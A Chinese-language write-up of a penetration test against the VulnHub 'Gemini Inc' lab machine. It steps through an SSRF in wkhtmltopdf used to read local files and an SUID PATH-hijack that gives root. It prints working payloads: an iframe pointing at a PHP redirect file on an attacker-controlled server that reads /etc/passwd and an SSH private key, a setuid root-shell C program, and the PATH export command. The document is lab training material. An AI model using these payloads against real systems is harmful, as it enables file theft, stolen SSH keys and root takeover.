靶机:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
注释:使用vmwarworkstation运行虚拟机
难度:中+
目标:取得root权限+Flag
0x00 环境配置
虚拟网络编辑器:
Kali:
靶机:
0x01 主机发现/端口扫描
首先使用下面这条命令来发现靶机的ip地址为192.168.26.132
arp-scan -l
然后开始使用nmap进行端口和服务的发现
nmap -sV -sC -p- 192.168.26.132
0x02 信息收集
经过对开放端口和服务的扫描,发现只开放了22端口和80端口,访问80端口的http服务发现如下页面
然后在test2目录下发现了一个web应用的页面,还给出了该项目的github链接
通过上图的介绍我们知道了这是一个可以将用户配置信息和其他内容转换成pdf的一个应用。
0x03 开源项目信息泄漏
通过查看该项目托管在github上的代码,我在如下图所示的地方找到了默认的账号和密码。
然后利用获取到的账号和密码成功实现了登录,登录进来后可以看到多了一个admin的按钮
0x04 存储型XSS漏洞
点击admin进去后发现可以编辑用户的个人信息,然后在display name的位置成功打了一个存储型的xss,然而这不能帮助我们进行进一步的渗透。
0x05 服务端组件存在的SSRF漏洞
如下图所示我又点了右上角的export profile尝试把用户的个人信息导出成PDF
如下图所示,在导出的pdf文件中,查看到了该组件的名称以及版本
然后我就尝试搜索了一下该组件的漏洞,发现该组件存在一个SSRF的漏洞
该组件SSRF漏洞利用参考文章链接:文章链接
通过阅读上面这篇文章,我们知道了如果我们可以在该页面插入一个iframe标签的话,我们就可以通过转pdf的操作触发SSRF漏洞,从而实现读取一些远程文件或者本地文件的操作。
0x06 LFI漏洞
<iframe src="file:///etc/passwd"></iframe>
经过尝试发现并没有成功读取到本地文件的内容
接下来尝试读取远程文件的内容,我先在kali根目录下创建一个名为1.txt的文件,然后内容是test SSRF
python3 -m http.server 80 #kali启动临时http服务
<iframe src="http://192.168.26.20/1.txt"></iframe>
如下图所示,在触发SSRF后成功实现了远程文件读取
然后我接着搜索了关于该组件漏洞利用的文章,我在这篇文章中得知了利用该组件漏洞读取本地文件的方法:文章链接
具体的实现思路:通过在攻击者自己的web服务器上,放置一段php的攻击代码,然后通过靶机web服务组件wkhtmltopdf的漏洞,通过解析我们在用户信息编辑页面插入的src源链接,通过加载我们攻击者服务器上的php代码,将这段代码读取到靶机的应用当中,然后这段代码就会在靶机的服务器组件渲染pdf的时候去执行,从而实现读取靶机本地文件内容的效果,读取到的内容将通过渲染得到的pdf回显给攻击者,从而成功的达到读取靶机本地文件的目的。所以,我们要做的就是在我们vps服务器的web根目录下创建一个包含以下内容的 php 文件:
<?php header('location:file://'.$_REQUEST['url']); ?> #该文件名问ssrfexp.php
然后我们在个人信息编辑页面插入以下payload
<iframe height="2000" width="800" src=http://x.x.x.x/ssrfexp.php?url=/etc/passwd></iframe> #记得把ip改为vps的ip
然后保存后,去执行导出为pdf的操作,触发该组件漏洞执行,如下图所示成功读取到靶机上/etc/passwd文件的内容,读取其他文件的也是相同的步骤,只需要改url参数后面的指定的文件名即可。
到这一步我们已经成功利用该组件的SSRF漏洞读取到了本地文件。
0x07 SSH公钥认证
知识补充:通过私钥文件实现无密码登录目标linux服务器的原理
基础概念:authorized_keys文件中存储着server B中的ssh公钥信息以及可以允许远端计算机系统ssh免密码登陆的账号信息。也就是远端的计算机A可以通过什么账号及地址不需要输入密码既可以远程登陆本系统。
利用SSH公钥认证实现无密码登录目标服务器的过程:
1.在A上生成公钥私钥。
2.将公钥拷贝给server B,并将文件内容追加到server用户目录的.ssh/authorized_keys中
3.Server A向Server B发送一个连接请求。
4.Server B得到Server A的信息后,在authorized_keys中查找,如果有相应的用户名和IP,则随机生成一个字符串,并用Server A的公 钥加密,发送给Server A。
5.Server A得到Server B发来的消息后,使用私钥进行解密,然后将解密后的字符串发送给 Server B。Server B进行和生成的对比,如 果一致,则允许免密登录。
如上图所示,在我们读取到的etc/passwd文件中发现了一个可以通过ssh登录的用户gemini1,但是我们不知道该用户的密码,所以我想着尝试读取该用户/home/gemini1/.ssh/id_rsa 文件,也就是该用户的私钥文件,操作步骤同上不再赘述,如下图所示成功读取到了该用户的私钥文件
接着我又通过尝试读取了该用户的公钥文件rsa_pub和authorized_keys文件的内容发现公钥文件与authorized_keys文件中的公钥内容一致,且该文件中存的允许登录的用户就是Gemini1,所以我们可以通过在kali上的root目录下保存该用户的私钥文件就可以实现免密登录。
vim id_rsa
chmod 400 id_rsa
ssh -i id_rsa gemini1@192.168.26.133
如上图所示我们已经成功的登录到了gemini1用户,拿到了一个本地的普通用户的权限。
0x08 linux环境变量提权
通过常规的信息搜集,我发现内核提权和常规的sudo等提权手段都不可行,但是在使用以下命令的时候,发现了listinfo这个命令,感觉这个可能是用户自定义的一个命令,于是开始对其进行测试
find / -user root -type f -perm -u+sx -ls 2>/dev/null
#使用该命令可以列出 属于root账号且有suid权限的可执行文件 2>/dev/null部分的意思是不显示一些报错
如下图所示,我们可以看到listinfo是一个可执行文件
于是我尝试执行了一下listinfo命令
通过对执行结果的分析,我发现listinfo命令执行的内容大概分为四个部分,第一个部分是显示一些网卡的配置信息,第二、三部分是22和80端口开放情况,第四部分是打印当前时间。
使用下面这条命令可以查看该可执行程序中的一些可打印字符串
strings /usr/bin/listinfo
通过上图我们发现,该可执行程序的确是执行了如我分析的那样的四条命令,但是我们可以发现前三条命令都写绝对路径了,但是第四条命令date却没有写路径,所以我们可以利用这一点实现linux环境变量提权。关于环境变量提权的原理我之前写过一篇文章,感兴趣的师傅可以去看看,链接如下:文章链接
相信读了我上面的这篇文章,应该对该提权的的原理有了一定的了解,接下来我们开始操作,先在当前用户的目录下创建一个date.c文件
cd /home/gemini1
vi date.c
date.c文件的内容如下,大概的意思就是以root用户的身份执行系统命令,启动一个shell
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc date.c -o date #对该c文件编译,并把编译好的文件命名为date
然后我这里要补充的一点就是大家知道为什么操作系统可以直接执行ls、pwd这些命令吗?其实是因为这些系统命令所对应的可执行文件的目录都已经够被设置成了环境变量。
echo $PATH #查看系统的环境变量
由于这些命令都是放在这些系统路径里面的所以我们才不需要输入完整的路径就可以执行这些命令,原理和windows环境变量一样,这里不再多说。
which date
通过上面这条命令 我们可以知道系统默认的date命令的路径,是放在/bin这个路径下的,而/bin目录是在系统环境变量里面的,所以系统会在系统变量里面从前往后检索,从而在/bin目录下找到date这个可执行程序,从而成功执行date命令。
了解了linux命令执行和环境变量的关系,下面的操作就好理解了,现在我们的目标就是想让系统先检索到我们构造的date命令,所以我们需要将当前目录添加到当前环境变量的头部。
export PATH=/home/gemini1:$PATH
如下图所示,此时我们构造的date文件的路径已经被放在了环境变量的头部
然后我们执行listinfo触发执行date命令,这次执行的date命令就是我们构造的恶意代码了。
通过下图我们可以看到已经提权成功,获取到了root权限。这台靶机的渗透到这里也就结束了。
0x09 总结
在这次靶机的渗透过程中,先是通过github上托管的代码找到了web应用登录默认的账户密码成功实现了登录,接着在用户个人信息编辑页面发现了一个存储XSS漏洞,然后通过查看导出的pdf文件的信息,发现了该服务器组件版本信息,并通过浏览器的搜索,发现了该组件存在的SSRF漏洞,通过利用该服务器组件存在的SSRF漏洞,以及参考大佬的文章,最终实现了本地文件读取,然后通过读取gemini1用户的rsa私钥,成功实现了无密码登录,获取到了一个普通用户权限,最后利用了listinfo程序存在的问题,通过环境变量提权,成功获取到了root权限,该靶机的getshell之路可谓是一波三折,getshell之后也是非常规的提权之路,总的来说,收获颇丰,对SSRF漏洞和linux环境变量提权的理解变的更深了。这台靶机还是比较有趣的,感兴趣的师傅们可以去玩玩!
参考资料:1、https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/#:~:text=Because%20wkhtmltopdf%20renders%20HTML%20content%20on%20the%20server-side%2C,include%20local%20and%20remote%20files%20in%20the%20content.
2、http://hassankhanyusufzai.com/SSRF-to-LFI/
3、https://www.freebuf.com/articles/system/320593.html